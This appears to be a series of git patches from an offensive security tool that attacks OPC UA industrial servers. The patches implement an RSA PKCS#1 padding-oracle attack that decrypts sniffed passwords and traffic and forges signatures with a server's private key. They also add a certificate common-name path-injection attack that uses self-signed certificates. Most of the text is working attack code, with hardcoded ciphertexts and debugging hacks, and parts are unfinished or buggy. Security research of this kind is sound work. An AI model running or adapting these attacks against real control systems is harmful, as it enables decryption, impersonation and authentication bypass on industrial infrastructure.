+ + if __name__ == '__main__': oracletest() \ No newline at end of file diff --git a/crypto.py b/crypto.py index cd69ae7..60b5152 100644 --- a/crypto.py +++ b/crypto.py @@ -1,6 +1,6 @@ from message_fields import * -from Crypto.PublicKey.RSA import RsaKey +from Crypto.PublicKey.RSA import RsaKey, import_key from Crypto.Signature import pkcs1_15, pss from Crypto.Hash import SHA1, SHA256 from Crypto.Cipher import PKCS1_v1_5, PKCS1_OAEP, AES @@ -9,6 +9,7 @@ from OpenSSL import crypto import hmac, hashlib +from datetime import datetime, timedelta # Asymmetric stuff for OPN messages, authentication signatures and passwords. @@ -155,8 +156,37 @@ def certificate_thumbprint(cert : bytes) -> bytes: # Computes a certificate thumbprint as used in the protocol. return hashlib.new('sha1', cert).digest() -def certificate_rsakey(cert : bytes) -> tuple[int, int]: +def certificate_publickey(cert : bytes) -> RsaKey: + pk = crypto.load_certificate(crypto.FILETYPE_ASN1, cert).get_pubkey() + return import_key(crypto.dump_publickey(crypto. FILETYPE_ASN1, pk)) + +def certificate_publickey_numbers(cert : bytes) -> tuple[int, int]: # Extracts and parses an RSA public key from a certificate, as (m, e) integers. numbers = crypto.load_certificate(crypto.FILETYPE_ASN1, cert).get_pubkey().to_cryptography_key().public_numbers() return numbers.n, numbers.e +def selfsign_cert(template : bytes, cn : str, expiry : datetime) -> tuple[bytes, RsaKey]: + # Generates a self-signed copy of template (DER encoded) with a given CN and validity. + # Returns it with (fresh) associated private key. + key = crypto.PKey() + key.generate_key(crypto.TYPE_RSA, 2048) + + # Build self-signed cert. + cert = crypto.load_certificate(crypto.FILETYPE_ASN1, template) + cert.set_pubkey(key) + subject = cert.get_subject() + subject.commonName = cn + cert.set_subject(subject) + + # Set validity from three days ago until expiry. + cert.set_issuer(subject) + asn1format = '%Y%m%d%H%M%SZ' + cert.set_notBefore((datetime.now() - timedelta(days=3)).strftime(asn1format)) + cert.set_notAfter(expiry.strftime(asn1format)) + + # Sign with the private key. + cert.sign(key, 'sha256') + + # Convert key to pycryptodrome object. + keybytes = crypto.dump_privatekey(crypto. FILETYPE_ASN1, key) + return crypto.dump_certificate(crypto.FILETYPE_ASN1, cert), import_key(keybytes) diff --git a/opcattack.py b/opcattack.py index 6e4e409..1bdb47d 100755 --- a/opcattack.py +++ b/opcattack.py @@ -186,6 +186,23 @@ def add_arguments(self, aparser): def execute(self, args): raise Exception('TODO: implement') +class NoAuthAttack(Attack): + subcommand = 'auth-check' + short_help = 'tests if server allows unauthenticated access' + long_help = """ +This is not a new attack. Just a simple check to see whether a server allows anonymous access without authentication; +either via the None policy or by automatically accepting untrusted certificates. + +This is an easy misconfiguration to make (or insecure default to forget about), so it's good to check for this. Also, +there's not much use for an authentication bypass if no authentication is enforced at all. +""" + + def add_arguments(self, aparser): + pass + + def execute(self, args): + raise Exception('TODO: implement') + class DecryptAttack(Attack): subcommand = 'decrypt' short_help = 'sniffed password and/or traffic decryption via an padding oracle' @@ -228,8 +245,11 @@ class SigForgeAttack(Attack): short_help = 'signature forgery via padding oracle' long_help = """ Uses the same padding oracle attack as 'decrypt', but instead of decrypting a -ciphertext an RSA signature is forged with the private key that a server is -using. +ciphertext an RSA PKCS#1 signature is forged with the private key that a server +is using. + +The technique can also be used to forge PSS signatures, but that's +currently not implemented. Is used automatically as part of reflect/relay attacks (with --bypass-opn). This command can be used to sign any other arbitrary payload. Can be used @@ -237,7 +257,7 @@ class SigForgeAttack(Attack): """.strip() def add_arguments(self, aparser): - aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), + aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), default='try-both', help='which PKCS#1 padding oracle to use; default: try-both') aparser.add_argument('payload', type=str, required=True, help='hex-encoded payload to spoof a signature on') @@ -245,7 +265,12 @@ def add_arguments(self, aparser): help='endpoint URL of the OPC UA server whose private key to spoof a signature with') def execute(self, args): - raise Exception('TODO: implement') + opn, password = { + 'opn' : (True, False), + 'password': (False, True), + 'try-both': (True, True), + }[args.padding_oracle_type] + forge_signature_attack(args.server_url, unhexlify(args.payload), opn, password) class MitMAttack(Attack): subcommand = 'mitm' @@ -260,24 +285,15 @@ def add_arguments(self, aparser): def execute(self, args): raise Exception('TODO: implement') -class NoAuthAttack(Attack): - subcommand = 'auth-check' - short_help = 'tests if server allows unauthenticated access' - long_help = """ -This is not a new attack. Just a simple check to see whether a server allows anonymous access without authentication; -eiter via the None policy or by automatically accepting untrusted certificates. - -This is an easy misconfiguration to make (or insecure default to forget about), so it's good to check for this. Also, -there's not much use for an authentication bypass if no authentication is enforced at all. -""" - - def add_arguments(self, aparser): - pass - - def execute(self, args): - raise Exception('TODO: implement') - -ENABLED_ATTACKS = [ReflectAttack(), RelayAttack()] +ENABLED_ATTACKS = [ + ReflectAttack(), + RelayAttack(), + PathInjectAttack(), + NoAuthAttack(), + DecryptAttack(), + SigForgeAttack(), + MitMAttack(), +] def main(): From 501847fb250da11732532ebd2fb0923eba386a2c Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 18 Mar 2024 09:56:32 +0100 Subject: [PATCH 13/70] Working on CN path injection attack. --- attacks.py | 54 +++++++++++++++++++++++++++++++++++++++------------- opcattack.py | 18 ++++++++---------- 2 files changed, 49 insertions(+), 23 deletions(-) diff --git a/attacks.py b/attacks.py index f27dc9e..a637383 100644 --- a/attacks.py +++ b/attacks.py @@ -10,6 +10,8 @@ from random import Random, randint from enum import Enum, auto from binascii import hexlify, unhexlify +from base64 import b64encode, b64decode +from datetime import datetime, timedelta import sys, os, itertools, re, math, hashlib @@ -19,6 +21,9 @@ def log(msg : str): def log_success(msg : str): print(f'[+] {msg}') + +# Self signed certificate template (DER encoded) used for path injection attack. +SELFSIGNED_CERT_TEMPLATE = b64decode('MIIDlzCCAn+gAwIBAgIUQQb8NNyLO/ABt/t+WsLPGtj7cMAwDQYJKoZIhvcNAQELBQAwWzELMAkGA1UEBhMCTkwxEjAQBgNVBAgMCUZha2VTdGF0ZTEQMA4GA1UECgwHRmFrZU9yZzEPMA0GA1UECwwGRmFrZU9VMRUwEwYDVQQDDAxwYXlsb2FkLWhlcmUwHhcNMjQwMzEzMTM1OTEzWhcNMjQwNDEyMTM1OTEzWjBbMQswCQYDVQQGEwJOTDESMBAGA1UECAwJRmFrZVN0YXRlMRAwDgYDVQQKDAdGYWtlT3JnMQ8wDQYDVQQLDAZGYWtlT1UxFTATBgNVBAMMDHBheWxvYWQtaGVyZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANLvUdVEtRAP8MTGv1R551nQwl9B3xsTb+LvV3wfZdeE+xR06MX1WHtH7JaKqKRSii9gbixxRU0hF3eVdl1iHwVxRXNEn7DGaiIoIqvlICNJaYWJv1LcJ91XkdloKAh76eCRWHLvROdk2RMMRDPfAvpPSslgkYT3K/fMr06GQB8wMIdmoB3qLicc+D0jCzgg/tu+HnMsU6F0VA/foZXljOvwNxkqqLwpRLyFrMOBruvP5gKC62+fAikG4cl2P6Z1gJnjwUiFU/HVBMwJad7HxeFYjl1kmzijFquBK4UJ1QuH6k50brj6A51SavYy9f73wtJAp8pwj4DDVEILVXNWRN8CAwEAAaNTMFEwHQYDVR0OBBYEFGM7NXvtqb7CbS0eDRP3CsEhP6/wMB8GA1UdIwQYMBaAFGM7NXvtqb7CbS0eDRP3CsEhP6/wMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAJ81VhO3Yv0djA0uouDbZqamjaKV3QdBmDJwqaDmy0wNyVDPvydmgk7fv4Tir3+yZfJtHqUwllGMIScbBkKo2h/1FDQlDTrjH+LlwCblxP4eefAxp9UDvEDkEjGcP5lQel4etSt7ka5p5VBbAcsYIZs+h3KUZEhsgGTFc89PpKq5mt6dyIPu446csf9lumYDsbdE7F5Xq0oigZNTbHxot7VmisG1NDDkeeHi6N0Xhbb0H5V1pDcHWASukH67XS7opv00qC76UQItmQBetYoFtcITLI8bTwoJZYELbR/HEc8Y6q0AOF/kuji9rKNFsZBkqybb53eLYZyktgPOg/QQsng=') # Thrown when an attack was not possible due to a configuration that is not vulnerable to it (other exceptions indicate # unexpected errors, which can have all kinds of causes). @@ -597,7 +602,7 @@ def pick_endpoint(clazz, endpoints): ) ) -def oracletest(): +def oracletest(): # ctext1 = unhexlify('b78d809acebc0bd35dd12f06cc1e28638e1d0c1d06d51130cf2cf4f936c1431380496a79c8376eab9cf689469fd3caeb6c3c8da52881b60875294192de33ffb38270d1ba2ea55a8f160e05c723b6869c423c287a0776192aa88ef7a3344124072e6fba777803defd8b37cca3724d31a1c116b9c94e2f13a0565fa37a49096ecbc1f1418e4158ef359e23e77d7278b2ef6b770d6ce39cec7616564cdd065f14bd9542155a6e8fa8ba0b7353502cb5e5f081dce29adfb86763d32b567b28fbbc5e8026e85f0f5e89ac098fd25fa15f1e2d772e6b7fdbc5238a864fc230a3e8c2626f9cc5df42aeaa1237b5aa2cae9aa52ffa97e864eca72fe9803e4c4f68248ceeb5e72f0a9bd5c81dfea9933413c3ea89770a41c4e5c0f31649463ec0a1bdd177efa66845f14eba6733f149856079d9026f51719f94db72af5c597e27a7f3d8456a135085904ca25eeb258086667c7996ded096f4294e828958355e5d2b01e9991314e6cd3e0e15f10bc442109205db24d491d495600f79f2d4ac1c2dccda9eab5ecdf01337c8734ddb7cccceec4fb174243e1c9b17372807960170bd489c781d3e1878cd8e5fe2d8f3770e1acc24fc980188a07c8f3f1fd3c94ec431d9e1dfcbccc2c0e5ac74838b3d13ae1a0c55a19cc202c15500e15c0fbcb204e7c425bef947f1a184536909bab45bc0e02e5d6657bda740f99f9ceac20ea2ac4c7af7c6ab') # ctext1 = unhexlify('b78d809acebc0bd35dd12f06cc1e28638e1d0c1d06d51130cf2cf4f936c1431380496a79c8376eab9cf689469fd3caeb6c3c8da52881b60875294192de33ffb38270d1ba2ea55a8f160e05c723b6869c423c287a0776192aa88ef7a3344124072e6fba777803defd8b37cca3724d31a1c116b9c94e2f13a0565fa37a49096ecbc1f1418e4158ef359e23e77d7278b2ef6b770d6ce39cec7616564cdd065f14bd9542155a6e8fa8ba0b7353502cb5e5f081dce29adfb86763d32b567b28fbbc5e8026e85f0f5e89ac098fd25fa15f1e2d772e6b7fdbc5238a864fc230a3e8c2626f9cc5df42aeaa1237b5aa2cae9aa52ffa97e864eca72fe9803e4c4f68248cee') # ctext4 = unhexlify('8ba5227fca2967b591530cc68686ec123e3dafa63befc1841017be6a916abdfa7a947279b5426c300416e687029d1c8454044c3dfb96d8503f57cf3ef2817d56e7cbb77fe0446a752992e8eb9518cd7805af048e7083e49874180b0796ee0beed209bf3279b0f7405225f91aa33885571a973486b305c6f89c0a6d0d3e03f3632fce9ca12976c7ae4d7c0cf8ac0946ecb2d7072375ba35831fb3348dbddaa6c181342a6479619623d22faa0acc19fc0c26a86fa3ab834a4dd3cf7e661e809de3d5527e3d65cf1ee83112403e72920c741f5801e00db687f0fa1bc4651f65f5d69a0740058318c78691feed34898fc84ec40b72f34a2495b1ac857e3cd84861cb') @@ -605,14 +610,18 @@ def oracletest(): # ctext2 = os.urandom(len(ctext1)) # Password token: - todecrypt = unhexlify('9e82001c5a9b0d4ec8ed921af69659d8a3c8909bdb3be7bbf2f09a2321256deda98779fe8c182f476b06cf9592f2974b93a04fdbce82db34c2985c59ab71cce0f0987a35f2a4e0958411d40de4073ba00d223e5332ecaab0d5a850a1c97610cb2e42c7675d6a8eb3319ba95aabbed51014687bdf0edd417b47df2b4f348b6539ed1aa7bae5a4bd76ffe475a6d0ea54e51399996485c582615f55296411417f7c6db5aa8796653c47e503a00ce72a7e96e7c69ac52f5f200153cb585c6dc4119962ac004433da24f2347e75ee5fda60b507fde6c9197ad7f0aca65f3b6f91b51c8b0b501549aa10368ae7c4a2e2aeee1bb81bff8e3e6a9be7aa09b999ac641bc7') + # todecrypt = unhexlify('9e82001c5a9b0d4ec8ed921af69659d8a3c8909bdb3be7bbf2f09a2321256deda98779fe8c182f476b06cf9592f2974b93a04fdbce82db34c2985c59ab71cce0f0987a35f2a4e0958411d40de4073ba00d223e5332ecaab0d5a850a1c97610cb2e42c7675d6a8eb3319ba95aabbed51014687bdf0edd417b47df2b4f348b6539ed1aa7bae5a4bd76ffe475a6d0ea54e51399996485c582615f55296411417f7c6db5aa8796653c47e503a00ce72a7e96e7c69ac52f5f200153cb585c6dc4119962ac004433da24f2347e75ee5fda60b507fde6c9197ad7f0aca65f3b6f91b51c8b0b501549aa10368ae7c4a2e2aeee1bb81bff8e3e6a9be7aa09b999ac641bc7') # First half of OPN request: # todecrypt = unhexlify('160dcd84074bc3ff604b383295132b658f9e8491c1dec934bc8e8bd5d8d3997a6ff1b1bdea125920c9e992d33c00a844dc4c6953d291468d1e306881ed37338e0990cef579f6673f1863232bb7e8c29717950d2424487d92dc7f95c8a89f91fa4b82d6bfbce8ecc3389697580db1e539f883f02cdddfc59382381cfe13e717d2571422558b2bf8d10337260cfa0b3ab42eb2bb6459dafcc47ebefa6a7e7236023a8f8ce2fb5b3553fedc2e7e5974a3e951e4afb5974e9ef44b094ebe9d7f52173bc5f0f10b6d93943a2f699349520b5ccde725650671ab4c54f8be66700d172f73513ddcd52e48f39111c884366d4a4aacdb213a6d6552c139d775a909b1e873') + # Encryption of 0x00021234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567891234567890042: + todecrypt = unhexlify('af550d6983a8c885015af74701d4b0ef6f835ccc7fc71400e4347706d321d09f9a9fbfa5a55c7b2f781daa95d7c645ea94edbdd3652fe81279ff60a001675e0fea622afbc6ed36fe8b4b50e9d1a05caf37a209193ffe4131fff1f1e696e64af9b05af06f2bcc7313b022353ff2db984e3c473636aefa45c93ce8823297bc28eee9583f46eeaa8c23b57efdba0cbac4d1110c3d22a698f928c2974ee5a4048f26f57eb2a0d1755bfb0015f2668b4022eded7a26d544c351c7e12076579cb13a65ebfb71cff679780cab95e1bd1b8390fc28e6fb50f21ccbe86c6e213358bdee2996658b396a1a47326a7ec440e07283c6ca4308c1dec50379f90828599df7c7f5') + ep = PasswordPaddingOracle.pick_endpoint(get_endpoints('opc.tcp://opc-testserver:62541/Quickstarts/ReferenceServer')) - assert ep + assert ep + oracle = PasswordPaddingOracle(ep) # print(repr(oracle.query(todecrypt))) - # print(padding_oracle_quality(ep.serverCertificate, oracle)) + # print(padding_oracle_quality(ep.serverCertificate, oracle)) print(hexlify(rsa_decryptor(oracle, ep.serverCertificate, todecrypt))) def int2bytes(value : int, outlen : int) -> bytes: @@ -679,15 +688,15 @@ def query(candidate): s_i = ceildiv(n, 3*B) - # RESUME HACK - i=5 - s_i=10188737 - M_i={(1442187950294427360552239522644390257790796338700903207741025109708355436659589056631457108816185462712575330480300534305338116012222011796256576892011557132283377870311064829108823429585109041005837627259672339140274327169866035191498952338390529965554588543860476478651241178020573557285056019076658637471561695299531779164480600328883326366695718020245430875778810317910178071399706834470366542548337500749168322690594977588324772533567614714495014500564158838389193044477833064672095962723010823314057508079434126660565075169145349628417580299080325519208852922467759422401892910048476794655722601165242511595, 1442187998692808707883757966589484615228158854430272457264462385237590648429221964227540135943179962006785538072016811481043006284419960593328545509052277891654272977622775757750050925216134153918039471350825757929510950421883343952056314027937732311417806221713648637310362984906602358596298151440428445510366068070484134141181819904111607068348898876531403209583470958198577974999226925743786544730284075515260168692765224048813459048054824643534759684571073701866524775071072820608311304384905061522885505136162600064154248834011387347592156403054787704914170375565416055996440260756732861444607631487618012313)} - # r_i hack + # # RESUME HACK + # i=5 + # s_i=10188737 + # M_i={(1442187950294427360552239522644390257790796338700903207741025109708355436659589056631457108816185462712575330480300534305338116012222011796256576892011557132283377870311064829108823429585109041005837627259672339140274327169866035191498952338390529965554588543860476478651241178020573557285056019076658637471561695299531779164480600328883326366695718020245430875778810317910178071399706834470366542548337500749168322690594977588324772533567614714495014500564158838389193044477833064672095962723010823314057508079434126660565075169145349628417580299080325519208852922467759422401892910048476794655722601165242511595, 1442187998692808707883757966589484615228158854430272457264462385237590648429221964227540135943179962006785538072016811481043006284419960593328545509052277891654272977622775757750050925216134153918039471350825757929510950421883343952056314027937732311417806221713648637310362984906602358596298151440428445510366068070484134141181819904111607068348898876531403209583470958198577974999226925743786544730284075515260168692765224048813459048054824643534759684571073701866524775071072820608311304384905061522885505136162600064154248834011387347592156403054787704914170375565416055996440260756732861444607631487618012313)} + # # r_i hack while True: # Step 2: searching for PKCS#1 conforming messages. - print(f'step 2; i={i}; s_i={s_i}; M_i={M_i}', flush=True) + print(f'step 2; i={i}; s_i={s_i}; M_i={[(hex(a), hex(b)) for a,b in M_i]}', flush=True) if i == 1: # 2a: starting the search. while not test_factor(s_i): @@ -700,8 +709,8 @@ def query(candidate): else: # 2c: searching with one interval left (a, b) = next(iter(M_i)) - r_i = 2 * ceildiv(b * s_i - 2 * B, n) - r_i = 103556 # HACK + r_i = ceildiv(2 * (b * s_i - 2 * B), n) + # r_i = 103556 # HACK done = False while not done: print(f'r_i={r_i}; {ceildiv(2 * B + r_i * n, b)} <= new_s < {(3 * B + r_i * n) // a}', file=sys.stderr, flush=True) @@ -721,8 +730,8 @@ def query(candidate): } # Step 4: Computing the solution. - print(f'step 4',flush=True) if len(M_i) == 1: + print(f'step 4',flush=True) a, b = next(iter(M_i)) if a == b: m = a * pow(s0, n - 2, n) % n @@ -853,6 +862,25 @@ def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_passw log_success(f'Succes! Forged signature:') log_success(hexlify(sig)) return sig + +def inject_cn_attack(url : str, cn : str, second_login : bool, demo : bool): + proto, host, port = parse_endpoint_url(url) + log(f'Attempting reflection attack against {url}') + + mycert, privkey = selfsign_cert(SELFSIGNED_CERT_TEMPLATE, cn, datetime.now() + timedelta(days=100)) + log(f'Generated self-signed certificate with CN {cn}.') + log(f'SHA-1 thumbprint: {hexlify(certificate_thumbprint(mycert))}') + + endpoints = get_endpoints(url) + log(f'Server advertises {len(endpoints)} endpoints.') + + # Pick any endpoint, preferably with a non-None policy. + ep = max(endpoints, key=lambda ep: ep.securityPolicyUri != SecurityPolicy.NONE) + if ep.securityPolicyUri == SecurityPolicy.NONE: + log('All endpoints only use the None policy. Certificate may be ignored, byt trying attack anyway.') + + ..... + if __name__ == '__main__': diff --git a/opcattack.py b/opcattack.py index 1bdb47d..c6caeeb 100755 --- a/opcattack.py +++ b/opcattack.py @@ -129,10 +129,6 @@ class RelayAttack(Attack): """.strip() def add_arguments(self, aparser): - aparser.add_argument('-o', '--forged-opn', type=FileType('r'), - help='result of a prior opnforge attack against either server') - aparser.add_argument('-b', '--forged-opn-b', type=FileType('r'), - help='in case separate forged OPN\'s need to be used for both servers, this one is used for server-b and the -o file is used for server-a') aparser.add_argument('-n', '--no-demo', action='store_true', help='don\'t dump server contents on success; just tell if attack worked') aparser.add_argument('-b', '--bypass-opn', action='store_true', @@ -181,6 +177,8 @@ def add_arguments(self, aparser): help='log in a second time with the same certificate; useful for testing the default payload auth bypass') aparser.add_argument('-n', '--no-demo', action='store_true', help='don\'t dump server contents when an authentication bypass worked') + aparser.add_argument('url', type=str, + help='Target server OPC URL (either opc.tcp:// or https:// protocol)') def execute(self, args): @@ -231,10 +229,10 @@ class DecryptAttack(Attack): def add_arguments(self, aparser): aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), help='which PKCS#1 padding oracle to use; default: try-both') - aparser.add_argument('ciphertext', type=str, required=True, - help='hex-encoded RSA-encrypted ciphertext; either OAEP or PKCS#1') - aparser.add_argument('server-url', type=str, required=True, + aparser.add_argument('server-url', type=str, help='endpoint URL of the OPC UA server owning the RSA key pair the ciphertext was produced for') + aparser.add_argument('ciphertext', type=str, + help='hex-encoded RSA-encrypted ciphertext; either OAEP or PKCS#1') def execute(self, args): raise Exception('TODO: implement') @@ -259,10 +257,10 @@ class SigForgeAttack(Attack): def add_arguments(self, aparser): aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), default='try-both', help='which PKCS#1 padding oracle to use; default: try-both') - aparser.add_argument('payload', type=str, required=True, - help='hex-encoded payload to spoof a signature on') - aparser.add_argument('server-url', type=str, required=True, + aparser.add_argument('server-url', type=str, help='endpoint URL of the OPC UA server whose private key to spoof a signature with') + aparser.add_argument('payload', type=str, + help='hex-encoded payload to spoof a signature on') def execute(self, args): opn, password = { From 7cad94cb8db9383b175598765a0158c068079c43 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 18 Mar 2024 13:38:36 +0100 Subject: [PATCH 14/70] Finally fixed padding oracle! CN injector works now, too. --- attacks.py | 120 +++++++++++++++++++++++++++++++++++++++++++++++---- crypto.py | 8 ++-- opcattack.py | 2 +- 3 files changed, 116 insertions(+), 14 deletions(-) diff --git a/attacks.py b/attacks.py index a637383..fec03d0 100644 --- a/attacks.py +++ b/attacks.py @@ -1,6 +1,8 @@ import requests requests.packages.urllib3.disable_warnings() +from Crypto.PublicKey.RSA import RsaKey + from messages import * from message_fields import * from typing import * @@ -23,7 +25,7 @@ def log_success(msg : str): print(f'[+] {msg}') # Self signed certificate template (DER encoded) used for path injection attack. -SELFSIGNED_CERT_TEMPLATE = b64decode('MIIDlzCCAn+gAwIBAgIUQQb8NNyLO/ABt/t+WsLPGtj7cMAwDQYJKoZIhvcNAQELBQAwWzELMAkGA1UEBhMCTkwxEjAQBgNVBAgMCUZha2VTdGF0ZTEQMA4GA1UECgwHRmFrZU9yZzEPMA0GA1UECwwGRmFrZU9VMRUwEwYDVQQDDAxwYXlsb2FkLWhlcmUwHhcNMjQwMzEzMTM1OTEzWhcNMjQwNDEyMTM1OTEzWjBbMQswCQYDVQQGEwJOTDESMBAGA1UECAwJRmFrZVN0YXRlMRAwDgYDVQQKDAdGYWtlT3JnMQ8wDQYDVQQLDAZGYWtlT1UxFTATBgNVBAMMDHBheWxvYWQtaGVyZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANLvUdVEtRAP8MTGv1R551nQwl9B3xsTb+LvV3wfZdeE+xR06MX1WHtH7JaKqKRSii9gbixxRU0hF3eVdl1iHwVxRXNEn7DGaiIoIqvlICNJaYWJv1LcJ91XkdloKAh76eCRWHLvROdk2RMMRDPfAvpPSslgkYT3K/fMr06GQB8wMIdmoB3qLicc+D0jCzgg/tu+HnMsU6F0VA/foZXljOvwNxkqqLwpRLyFrMOBruvP5gKC62+fAikG4cl2P6Z1gJnjwUiFU/HVBMwJad7HxeFYjl1kmzijFquBK4UJ1QuH6k50brj6A51SavYy9f73wtJAp8pwj4DDVEILVXNWRN8CAwEAAaNTMFEwHQYDVR0OBBYEFGM7NXvtqb7CbS0eDRP3CsEhP6/wMB8GA1UdIwQYMBaAFGM7NXvtqb7CbS0eDRP3CsEhP6/wMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAJ81VhO3Yv0djA0uouDbZqamjaKV3QdBmDJwqaDmy0wNyVDPvydmgk7fv4Tir3+yZfJtHqUwllGMIScbBkKo2h/1FDQlDTrjH+LlwCblxP4eefAxp9UDvEDkEjGcP5lQel4etSt7ka5p5VBbAcsYIZs+h3KUZEhsgGTFc89PpKq5mt6dyIPu446csf9lumYDsbdE7F5Xq0oigZNTbHxot7VmisG1NDDkeeHi6N0Xhbb0H5V1pDcHWASukH67XS7opv00qC76UQItmQBetYoFtcITLI8bTwoJZYELbR/HEc8Y6q0AOF/kuji9rKNFsZBkqybb53eLYZyktgPOg/QQsng=') +SELFSIGNED_CERT_TEMPLATE = b64decode('MIIE6TCCA9GgAwIBAgIKEtz1iOEt2W2zvjANBgkqhkiG9w0BAQsFADB9MSAwHgYKCZImiZPyLGQBGRMQdHRlcnZvb3J0LXNlY3VyYTEXMBUGA1UEChMOT1BDIEZvdW5kYXRpb24xEDAOBgNVBAgTB0FyaXpvbmExCzAJBgNVBAYTAlVTMSEwHwYDVQQDExhDb25zb2xlIFJlZmVyZW5jZSBDbGllbnQwHhcNMjQwMzEwMDAwMDAwWhcNMjUwMzEwMDAwMDAwWjB9MSAwHgYKCZImiZPyLGQBGRMQdHRlcnZvb3J0LXNlY3VyYTEXMBUGA1UEChMOT1BDIEZvdW5kYXRpb24xEDAOBgNVBAgTB0FyaXpvbmExCzAJBgNVBAYTAlVTMSEwHwYDVQQDExhDb25zb2xlIFJlZmVyZW5jZSBDbGllbnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCVZar5gJGUm88hIcuTautbRnZ/TvBx4nezaab9djeHTCmx0EezCS/2LSAnCv3uYumvpvd5s03eEPfQ0s26wKqgUj4eKCn2XTukaORJu/jb9mGoD40bRwrMDMxW5CpHZ0xFgnyKHb3QbzzvwFwGTx1bXGz9xMe+J9r5mNzsHVZ46aVOScOrF44ZyRwbNkWAhIiXKgrJoHLKA6LN6iBA+kkKTZc7q+GsoEM5O4pwAXATqMGmsFaV/I05x7CckrNgUVZfT2PwwRMZ1hKITu1Z/Jti6dUzxyF5qWFoL5TDNKFQYPtR13LaQpQkzUqkw8VkUeBiT+hFsiT4GkYuo9Emv9TxAgMBAAGjggFpMIIBZTAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTJcPReZqL1YOptopao2c+m/nvp8DCBsQYDVR0jBIGpMIGmgBTJcPReZqL1YOptopao2c+m/nvp8KGBgaR/MH0xIDAeBgoJkiaJk/IsZAEZExB0dGVydm9vcnQtc2VjdXJhMRcwFQYDVQQKEw5PUEMgRm91bmRhdGlvbjEQMA4GA1UECBMHQXJpem9uYTELMAkGA1UEBhMCVVMxITAfBgNVBAMTGENvbnNvbGUgUmVmZXJlbmNlIENsaWVudIIKEtz1iOEt2W2zvjAOBgNVHQ8BAf8EBAMCAvQwIAYDVR0lAQH/BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMFAGA1UdEQRJMEeGM3Vybjp0dGVydm9vcnQtc2VjdXJhOlVBOlF1aWNrc3RhcnRzOlJlZmVyZW5jZUNsaWVudIIQdHRlcnZvb3J0LXNlY3VyYTANBgkqhkiG9w0BAQsFAAOCAQEAjw9zu/9SPD6iOex67jS/xaKc7JhWTa7JBZjY7xPYEhnxSwkyMW7I8AkAK/d5w9/WJl0I2dTlZ8ftKKUFjOV7TrNhT2TNuYVqq9OZQhJYKEPmfUhb5oAHqGLWCixyDfiez69hLii0QT5qVYi5rR5S+C0KQ3uNXRt3subM3edND9LSuUc3DTfc2r6ZFQ9SR0Y0BCf3gLyB7VPrVKxpKspNjTv/5y3dSI4q1VNA+q8OaXxSVUVlTN/Nlg8euWELiHeGGHu3EKqje1swN4cLXoSWfhn6qW/x/PvcUZMvK2xrukrR1f1SR/R9gZm0SKeEEq0nRrn1ASPB5sMtOWPxdruSKA==') # Thrown when an attack was not possible due to a configuration that is not vulnerable to it (other exceptions indicate # unexpected errors, which can have all kinds of causes). @@ -128,6 +130,44 @@ def unencrypted_opn(sock: socket) -> ChannelState: msg_counter=2, crypto=None, ) + +# Do a OPN protocol with a certificate and private key. +def authenticated_opn(sock : socket, endpoint : endpointDescription.Type, client_certificate : bytes, privkey : RsaKey) -> ChannelState: + sp = endpoint.securityPolicyUri + + if sp == SecurityPolicy.NONE: + return unencrypted_opn(sock) + else: + client_nonce = os.urandom(32) + payload = encodedConversation.to_bytes(encodedConversation.create( + sequenceNumber=1, + requestId=1, + requestOrResponse=openSecureChannelRequest.to_bytes(openSecureChannelRequest.create( + requestHeader=simple_requestheader(), + clientProtocolVersion=0, + requestType=SecurityTokenRequestType.ISSUE, + securityMode=endpoint.securityMode, + clientNonce=client_nonce, + requestedLifetime=3600000, + )) + )) + replymsg = opc_exchange(sock, OpenSecureChannelMessage( + secureChannelId=0, + securityPolicyUri=sp, + senderCertificate=client_certificate, + receiverCertificateThumbprint=certificate_thumbprint(endpoint.serverCertificate), + encodedPart=rsa_ecb_encrypt(sp, certificate_publickey(endpoint.serverCertificate), payload) + )) + convrep, _ = encodedConversation.from_bytes(rsa_ecb_decrypt(sp, privkey, reply.encodedPart)) + resp, _ = openSecureChannelResponse.from_bytes(convrep.requestOrResponse) + + return ChannelState( + sock=sock, + channel_id=resp.securityToken.channelId, + token_id=resp.securityToken.tokenId, + msg_counter=2, + crypto=deriveKeyMaterial(sp, client_nonce, resp.serverNonce) + ) # Exchange a conversation message, once the channel has been established by the OPN exchange. @@ -713,8 +753,8 @@ def query(candidate): # r_i = 103556 # HACK done = False while not done: - print(f'r_i={r_i}; {ceildiv(2 * B + r_i * n, b)} <= new_s < {(3 * B + r_i * n) // a}', file=sys.stderr, flush=True) - for new_s in range(ceildiv(2 * B + r_i * n, b), (3 * B + r_i * n) // a): + print(f'r_i={r_i}; {ceildiv(2 * B + r_i * n, b)} <= new_s < {ceildiv(3 * B + r_i * n, a)}', file=sys.stderr, flush=True) + for new_s in range(ceildiv(2 * B + r_i * n, b), ceildiv(3 * B + r_i * n, a)): if test_factor(new_s): s_i = new_s done = True @@ -735,7 +775,7 @@ def query(candidate): a, b = next(iter(M_i)) if a == b: m = a * pow(s0, n - 2, n) % n - return [(m >> bits) & 0xff for bits in reversed(range(0, k, 8))] + return bytes([(m >> bits) & 0xff for bits in reversed(range(0, k, 8))]) i += 1 @@ -864,7 +904,6 @@ def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_passw return sig def inject_cn_attack(url : str, cn : str, second_login : bool, demo : bool): - proto, host, port = parse_endpoint_url(url) 